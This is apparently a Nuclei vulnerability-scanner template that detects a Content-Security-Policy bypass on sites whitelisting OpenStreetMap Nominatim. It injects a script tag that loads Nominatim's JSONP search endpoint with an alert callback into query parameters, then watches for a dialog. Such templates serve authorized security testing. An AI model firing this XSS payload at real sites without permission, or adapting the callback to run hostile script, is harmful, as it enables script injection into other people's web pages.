openstreetmap-nominatim-csp-bypass: Content-Security-Policy Bypass - OpenStreetMap Nominatim

id: openstreetmap-nominatim-csp-bypass

info:
  name: Content-Security-Policy Bypass - OpenStreetMap Nominatim
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,openstreetmap-nominatim,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "openstreetmap.org"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: openstreetmap_nominatim_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://nominatim.openstreetmap.org/search?q=&format=json&addressdetails=1&polygon_geojson=1&json_callback=alert"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "openstreetmap_nominatim_csp_xss == true"
# digest: 4b0a00483046022100fed21bad56b6f09f83e2650a47b15176d4997e40e8cd7346faceb313c0fc0d980221009b8c15e26383141c7fdb71147e32fc2f71c9faf47f2c1b69cbbb36648dea3714:922c64590222798bb761d5b6d8e72950